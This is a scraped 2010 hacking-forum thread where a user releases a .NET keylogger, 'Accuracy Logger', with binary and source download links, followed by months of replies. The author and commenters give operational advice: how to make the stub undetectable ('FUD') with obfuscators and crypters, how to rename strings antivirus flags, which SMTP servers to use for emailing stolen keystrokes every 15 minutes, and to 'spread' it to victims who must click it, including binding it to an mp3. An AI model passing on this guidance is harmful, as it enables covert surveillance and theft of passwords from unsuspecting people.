[Source + Binary] Accuracy Logger ~ Make your own Unlimited FUD Stubs

[img]http://i31.[censored].com/2w3xddz.jpg[/img]

I know you'll ask why make such basic loggers when you make Emissary?
Because I am really really bored at the moment. So i thought of making something small that you guys might want.

Accuracy Logger is a very very basic keylogger but its very much stable and accurate. I've released the source so you guys can use it to make your own fudstubs.

PS:

Awesome Keylogging Method.

Logger works on any OS that supports .net Framework 2.0

Has Antis

Has Working Startup code that works on Vista 7 and XP

Download:

Code <http://www.mediafire.com/?qkv2f622accnu6e>

Project Source:

Code [http://bit.ly \[WARNING: potentially infected\]/9ZxxVr](http://bit.ly/[WARNING: potentially infected]/9ZxxVr)

Project Source Mirror:

Code [http://bit.ly \[WARNING: potentially infected\]/bcdwOJ](http://bit.ly/[WARNING: potentially infected]/bcdwOJ)

Coder - July 31, 2010, 3:15 am

Thanks Sage. This will help me in learning .NET a lot. :D

Spacew00t - July 31, 2010, 3:55 am

Looks like a good program, is it currently FUD? NoVirusThanks is down.

cheezusrice - July 31, 2010, 4:01 am

You should add a password to the .rar, then make it so you can choose to decrypt a code to get the password (like in other threads), or just make a shitcash link, to prevent it from getting detected faster.

The 7th Sage - July 31, 2010, 4:02 am

I have my emissary logger for all that. Just thought of providing this to help.

GOD-GIFTED - July 31, 2010, 4:06 am

"The 7th Sage" I Always Loved your Precious Share to members including Me..Thanx for this it works Nice without any bugs :)

tux1 - July 31, 2010, 7:46 am

This looks usefull, so its compiled in .NET ?

The 7th Sage - July 31, 2010, 8:22 am

yes its compiled in .net 2.0

Moof - July 31, 2010, 9:50 am

I made a sharecash downloading tutorial off your source haha x]

The 7th Sage - July 31, 2010, 9:51 am

The other isn't spam. ?

LUr3TryN3 - July 31, 2010, 11:39 am

Thanks:-) The 7th Stage. Awesome that you help the community:)

Epidemic - July 31, 2010, 11:55 am

hey, I scan the 1st server that was bulit with malware and it came up with nothing so im guessing itz already FUD?

And also everytime i try 2 test email it says it failed, and i putin the right email and pass, but i still built it anyways... is it still good 2 go? like i built it can i spread it 2 people now???

The 7th Sage - July 31, 2010, 12:13 pm

(Jul 31, 2010 11:55 AM)skinnyj Wrote: [\[CITE\]](#) hey, I scan the 1st server that was bulit with malware and it came up with nothing so im guessing itz already FUD?

Its 3/20 without obfuscation. Use smartassembly or .net reactor or crypter.

The email thing is because of antivirus.

Imperialz! - July 31, 2010, 12:24 pm

thanks for this, will try to learn how to make a keylogger from this.

Epidemic - July 31, 2010, 1:24 pm

(Jul 31, 2010 12:13 PM)The 7th Sage Wrote: [\[CITE\]](#) Its 3/20 without obfuscation. Use smartassembly or .net reactor or crypter.

The email thing is because of antivirus.

So can i go ahead and start spreading now, and if people do download it will it all be sent to that email i typed in?

The 7th Sage - July 31, 2010, 9:16 pm

(Jul 31, 2010 01:24 PM)skinnyj Wrote: [\[CITE\]](#) So can i go ahead and start spreading now, and if people do download it will it all be sent to that email i typed in?
its not hard to make stubs fud. Do that and spread.

Also this logger doesn't have encryption on user and pass. So you should probably obfuscate the stub before using.

ben110 - July 31, 2010, 10:12 pm

what do i put as the box SMTP host?

The 7th Sage - July 31, 2010, 10:15 pm

smtp.gmail.com port 587 for google

smtp.live.com port 25 for msn

ben110 - July 31, 2010, 10:17 pm

aye what about the interval?

Aye so i send this too people and do they have too click it? and the interval is when every 15min the log will be send too my email?

versx - August 1, 2010, 12:00 am

Again, awesome programs from The 7th Sage.

Thank you for the source download, going to study a bit from it. Would +rep if I had l33t.

schi - August 1, 2010, 12:10 am

Good work sage, looks pretty neat. :]

The 7th Sage - August 1, 2010, 2:51 am

(Jul 31, 2010 10:17 PM)ben110 Wrote: [\[CITE\]](#) aye what about the interval?

Aye so i send this too people and do they have too click it? and the interval is when every 15min the log will be send too my email?

yes, they have to click. And it will send logs after every 15minutes to your email. you can increase it if you want.

Apachisop - August 1, 2010, 3:32 am

This is epic thanks for this lolz =D

[E.H Owner] - August 2, 2010, 5:18 pm

Hey thanks for your share but i've a problem with the logs. I perfectly get them every 10mins but in those logs I can't see what the user is typing. I only see the windows names. Did you know that issue?

Thanks

Samuell - August 2, 2010, 5:36 pm

(Aug 2, 2010 05:18 PM)[E.H Owner] Wrote: [\[CITE\]](#) Hey thanks for your share but i've a problem with the logs. I perfectly get them every 10mins but in those logs I can't see what the user is typing. I only see the windows names. Did you know that issue?

Thanks

Uhm, I don't know anything about this source but I'm guessing your on Windows 7 right?

eNigMa7 - August 2, 2010, 5:45 pm

Noob question: How do we make our own stubs from this :S

Samuell - August 2, 2010, 5:48 pm

(Aug 2, 2010 05:45 PM)eNigMa7 Wrote: [\[CITE\]](#) Noob question: How do we make our own stubs from this :S

He's providing you with the source, so you can re-FUD it in the vb.net compiler.

eNigMa7 - August 2, 2010, 5:51 pm

Shows windows but not what I type in them..when tested on myself.
Using Vista 64-bit.

Samuell - August 2, 2010, 6:10 pm

(Aug 2, 2010 05:51 PM)eNigMa7 Wrote: [\[CITE\]](#) Shows windows but not what I type in them..when tested on myself.

Using Vista 64-bit.

Ah, this keylogger is probably using GetKeyASync, which doesn't log x64.

[E.H Owner] - August 2, 2010, 6:46 pm

(Aug 2, 2010 05:36 PM)Classical Wrote: [\[CITE\]](#) Uhm, I don't know anything about this source but I'm guessing your on Windows 7 right?

Actually I'm on Debian right now but I tried it with w7 vista and xp 32bits and always the same problem: I just get the name of the windows opened. I can't see what the user is typing.

The 7th Sage - August 2, 2010, 10:26 pm

Try on your pc. When they type, you will get it.

@I've used keyhooks in the past, didn't log perfectly.

[E.H Owner] - August 3, 2010, 3:20 am

I didn't get what I should do to fix it ?

ben110 - August 3, 2010, 5:10 am

Is this FUD if not , how can i make it FUD

flAmingw0rm - August 3, 2010, 10:01 am

Another great keylogger by The 7th Sage. ?

Good job. Thanks for sharing the source code. :)

[E.H Owner] - August 3, 2010, 10:26 am

It is FUD but apparently doesn't log correctly...

The 7th Sage - August 3, 2010, 10:30 am

It does log. Just not on 64bit. You can modify the key logging code and use keyhooks instead.
but

Quote:Using keyhooks is like slapping kaspersky on the dick, and telling ,"hey I'm a virus".

Fallenbot - August 3, 2010, 10:30 am

Nice release mate, keep it up! :)

checkster - August 3, 2010, 10:38 am

The 7th Sage, you have always been a rock on this stuff.

And you keep giving us your free projects. You rock man.

Not that I need it, but had to tell you you rock.

Sage Mode - August 3, 2010, 10:58 am

Looks like a pretty good keylogger, basic GUI and features, thanks for including the source, will download the binary and test it out, then examine the source ?.

Hidden Dragon - August 3, 2010, 12:25 pm

What's the Const SexyGuySage = "ksajdfgsdkjfh" for?

The 7th Sage - August 3, 2010, 12:37 pm

Its a FileSplit. :p Some avs detect the word "Filesplit" so i named it something else. LOL.

[E.H Owner] - August 3, 2010, 12:44 pm

(Aug 3, 2010 10:30 AM)The 7th Sage Wrote: [\[CITE\]](#) It does log. Just not on 64bit. You can modify the key logging code and use keyhooks instead.

but

Each system I tried was 32bits. I can send you the log if you'd like it

Hidden Dragon - August 3, 2010, 12:45 pm

Oh so that's why I didn't see a filesplit in there. Great tip for fud'ing though.

The 7th Sage - August 3, 2010, 11:21 pm

(Aug 3, 2010 12:44 PM)[E.H Owner] Wrote: [\[CITE\]](#) Each system I tried was 32bits. I can send you the log if you'd like it

u sure they were typing? Since it records window title on change. You know how frequently they change. Pm ur teamviewer id.

Optic-_-Psycho - August 4, 2010, 4:57 am

Ok, so i've made built the server and stuff now do I just bind it with say a song and then send it to people? (I have 2 files in the binary now Stub and the one i named. Which one do I attach to the .mp3 aswell) SORRY I'm brand new to keylogging and stuff also 13 :P

syrenen11 - August 5, 2010, 3:51 pm

Thanks 7thSage for the release of, I guess you can say, "Training Logger"? Will help me with learning .Net and FUD'ing the stub.

Much appreciated.

Hidden Dragon - August 5, 2010, 7:25 pm

I can't seem to get any logs sent for some reason.

Serial Killer - August 6, 2010, 11:46 am

Looks like a good program

thanks

Godli - August 6, 2010, 8:28 pm

thanks sage going to try to use!

The 7th Sage - August 6, 2010, 10:52 pm

Well that method doesn't log on x64 windows. But its very fast. You can modify the code to keyhooks, but it won't be accurate enough.

Okiyo - August 7, 2010, 2:10 am

Thank you so much for this keylogger!!!

This is really helping me to learn VB.net!

I think the best tutorial for VB is this heheheheh :P

bruter - August 9, 2010, 6:08 pm

Thanks. It looks usefull.

KillerSpray - August 10, 2010, 1:03 am

what crypter with icon changer dont breake the server?

crater96 - August 10, 2010, 8:00 am

ouwww thanks broo kardes çok saol

woww super eeasdfsdfsdfsdf

LackOfSkill - August 17, 2010, 4:05 pm

looks good, i will try it out soon ! =)

Seriously, this was awesome =) need to make it full fud tho.

WhizKidz - August 17, 2010, 8:28 pm

Thanks Mate it would be appreciated :) I will add you in THe smoke Today sorry for Forgoting your name it's too long

Muffin - August 18, 2010, 6:17 am

Thanks!!

Nice Job tho ;D

King - August 18, 2010, 11:47 am

Thanks man. Will try it soon.

Freaky88 - August 21, 2010, 6:14 am

i would just like to say TYSM!!

Madmacmcmad - August 21, 2010, 9:31 am

looks cool :) ill try it (:

Kirk Gandril - August 21, 2010, 4:36 pm

Is this keylogger hooked? Cause I can't find any hooks code for the TAB, BACKSPACE and the like....

iSynthesis - August 21, 2010, 5:44 pm

sorry bro, but it's not working..

the test email works,

but after i build the server, i run'd it, and it doesn't send anything..

thanks though

edit:

my bad. its working, i didnt notice the time interval,

though its only keystrokes, doesnt steals passes from browsers etc

Alison Wonderland - August 21, 2010, 9:46 pm

it dosent clear the log after it sends it.

So you get log1

Log1 + log2

Log1 + log2 + log3

etc

Kirk Gandril - August 21, 2010, 10:15 pm

I can see that it doesn't use hooks but instead, it uses GetAsynckKeys that will bloat your memory and lag it..

Eagle EyE - August 22, 2010, 9:43 am

IT is infected with Generic PWS....

My McAfee total protection think it is PWS...

Automatic Coding - August 22, 2010, 9:58 am

No sharecash

I copy paste link

FUCK ITS SHARECASH

...

can't edit post because im limited

mind sending me source by PM with out sharecash :D

i just went to the other forum and spammed 5 posts :S

The 7th Sage - August 22, 2010, 10:11 am

(Aug 22, 2010 09:43 AM)Eagle EyE Wrote: [\[CITE\]](#) IT is infected with Generic PWS....

My McAfee total protection think it is PWS...

fuck you retard. Its a source.

(Aug 21, 2010 04:36 PM)Kirk Gandril Wrote: [\[CITE\]](#) Is this keylogger hooked? Cause I can't find any hooks code for the TAB, BACKSPACE and the like....

nah, but i do have code for hooks. If u need i can try to find it.

Eagle EyE - August 22, 2010, 12:16 pm

Infected Proof The Post Has Been Reported:

[img]http://img843.imageshack.us/img843/7046/db00red.gif[/img]

jack6 - August 22, 2010, 1:17 pm

Eagle EyE your really nuts :)))

didn;t heard about false positive?in most of test of AV Comparatives McAfee fail!!!

The 7th Sage - August 22, 2010, 7:14 pm

of course its detected u retard. Its a public one. Jeez.

Eagle EyE - August 23, 2010, 2:32 am

(Aug 22, 2010 07:14 PM)The 7th Sage Wrote: [\[CITE\]](#) of course its detected u retard. Its a public one. Jeez.

But not a PWS backd00red!

waller540 - August 23, 2010, 3:34 am

Thanks a lot for this! It's really helping me learn.

Cheers ?

The 7th Sage - August 23, 2010, 5:13 am

(Aug 23, 2010 02:32 AM)Eagle EyE Wrote: [\[CITE\]](#) But not a PWS backdoored!
you know what. Fuck you. Don't download i don't care what a bunch of lols say.

[-True-] - August 23, 2010, 7:44 am

7th sage is one of the best coders on hf that i've seen. i'm sure he wouldn't just infect one of his things with a trojan. if he had done that, wouldn't it be his other keylogger? with many more users than this one?

great job, 7th. downloading it now. any chance of update so that it steals the passes from browsers n everything?

The 7th Sage - August 23, 2010, 7:55 am

nah thats private source code, you can buy it.

(Aug 23, 2010 07:44 AM)[-True-] Wrote: [\[CITE\]](#) 7th sage is one of the best coders on hf that i've seen. i'm sure he wouldn't just infect one of his things with a trojan. if he had done that, wouldn't it be his other keylogger? with many more users than this one?

lol yeah. I could just hide it in the code of emissary. There were like 1000+ downloads. I don't infect people especially not my app users.

L?ght - August 23, 2010, 8:01 am

(Aug 23, 2010 02:32 AM)Eagle EyE Wrote: [\[CITE\]](#) But not a PWS backdoored!

Stupid. The 7th Sage wouldnt infect someone. He make a lot of good applications that I tested all myself. And there is nothing backdoored in that? lol Dont download if you dont trust, but The 7th Sage is a fucking good coder. He wouldnt infect someone.

[-True-] - August 23, 2010, 8:04 am

o btw 7th, how do you make your own fud stubs? lol. cant really code myself ;\ so yea ;\

The 7th Sage - August 23, 2010, 8:05 am

one simple way is using obfuscator like smartassembly. But these days avira is being a bitch, one way to bypass that would be using deathader's api

<https://hackforums.net/showthread.php?tid=430500>

there are other ways, but that is the simple way.

[-True-] - August 23, 2010, 8:12 am

so i have to code my own stubs? ;\ guess ill try later :P

The 7th Sage - August 23, 2010, 8:22 am

if ur ok with avira detecting ur file, just use smartassembly.

jmsman101 - August 23, 2010, 12:32 pm

? Hay The 7th Sage can you make a public version of Emissary Keylogger v4

jimmybones - August 23, 2010, 10:45 pm

this logger is verdy dam nice also :)

im just testeing arround a little bit :)

Kirk Gandril - August 27, 2010, 2:16 am

Can I have a Hooks Code??? And I try to add features to the program, which part of the stub should

I edit?

BTW, we are friends in MSN, it's just that I've never chatted with you...

Spoiler ([Click to View](#)) Fuck anyone who says that 7th Sage attempts to hack you...

Do you know what the detection "PSW" mean? It means it's an INFSTEALER, YOU RETARDS!!!
Why does it is detected as such? Because that's the purpose of a keylogger!! Dammit

kidcat313 - September 13, 2010, 4:11 am

the other letters are missing.. example i will type computer .. the result in the log was omter ... :(..
please fix it ... please?

pal62 - September 13, 2010, 5:47 am

Thanks for the wonderful share. Really appreciate your kindness.

-Bryce - September 13, 2010, 12:54 pm

Really wish i had a shitcash account....

ouaiss - September 13, 2010, 6:30 pm

Finally something without fucking shitcash!

eliteh4xer - September 16, 2010, 4:12 am

@thnax man for your effort...:)__you rocks

RedSky' - September 16, 2010, 6:23 am

tnx men for not shitcrap download link!

dennis_hammarby - September 16, 2010, 8:24 am

avg says it 3 trojan hors :(

?nxy - September 16, 2010, 8:30 am

Nice share Sage, I'll add it to my collection. :)

Nilsson#1 - September 16, 2010, 1:30 pm

Thanks for sharing. sad that it couldn't been in a normal host.. I fucking hate Sharecash

fakoli - December 19, 2010, 8:13 am

Please help me I am unable to download a file from the site what it would be kind of help

arunlildude - December 19, 2010, 9:04 am

thanks bro... hope its fud as mentioned

chopsticks - December 19, 2010, 9:03 pm

(Dec 19, 2010 09:13 AM)fakoli Wrote: [\[CITE\]](#) Please help me I am unable to download a file from the site what it would be kind of help

I always have problems downloading from spamcash

UltraGoat - December 19, 2010, 9:55 pm

Awesome looks like a great start for me xD, thanks the 7th Sage.

roaming_thunder - December 20, 2010, 4:55 am

Thanks the 7th Sage, looking forward to working out how all this works. The source code is going to

be very useful for my learning!

Anyone else got another mirror for this file or can PM me the details of where I can get it?

joshboii1992 - December 20, 2010, 7:20 am

(Jul 31, 2010 04:01 AM)cheezusrice Wrote: [\[CITE\]](#) You should add a password to the .rar, then make it so you can choose to decrypt a code to get the password (like in other threads), or just make a shitcash link, to prevent it from getting detected faster.

agree with this guy keep them virus total noobs away

NiKKE - December 20, 2010, 9:46 am

lol, shitcash :(i want source without it ;)

lightbrown_eyes - December 20, 2010, 11:38 am

Man... it's easy detected by NOD32

[\[IMG\]http://img152.imageshack.us/img152/1052/nod32w.jpg\[/IMG\]](http://img152.imageshack.us/img152/1052/nod32w.jpg)

Thanks for sharing... ?

Stalkar - December 20, 2010, 3:17 pm

The fuck? How come his account is closed? O_O

ch4x0r - January 14, 2011, 12:28 pm

I was wondering the same thing what happened to 7thsage!!!

Lolvinnor - August 21, 2013, 1:53 am

download link not working :(?

someone that have the download link :D?

xEedz - August 21, 2013, 7:14 am

Can anyone tell me if this keylogger works and anyone have the download link?
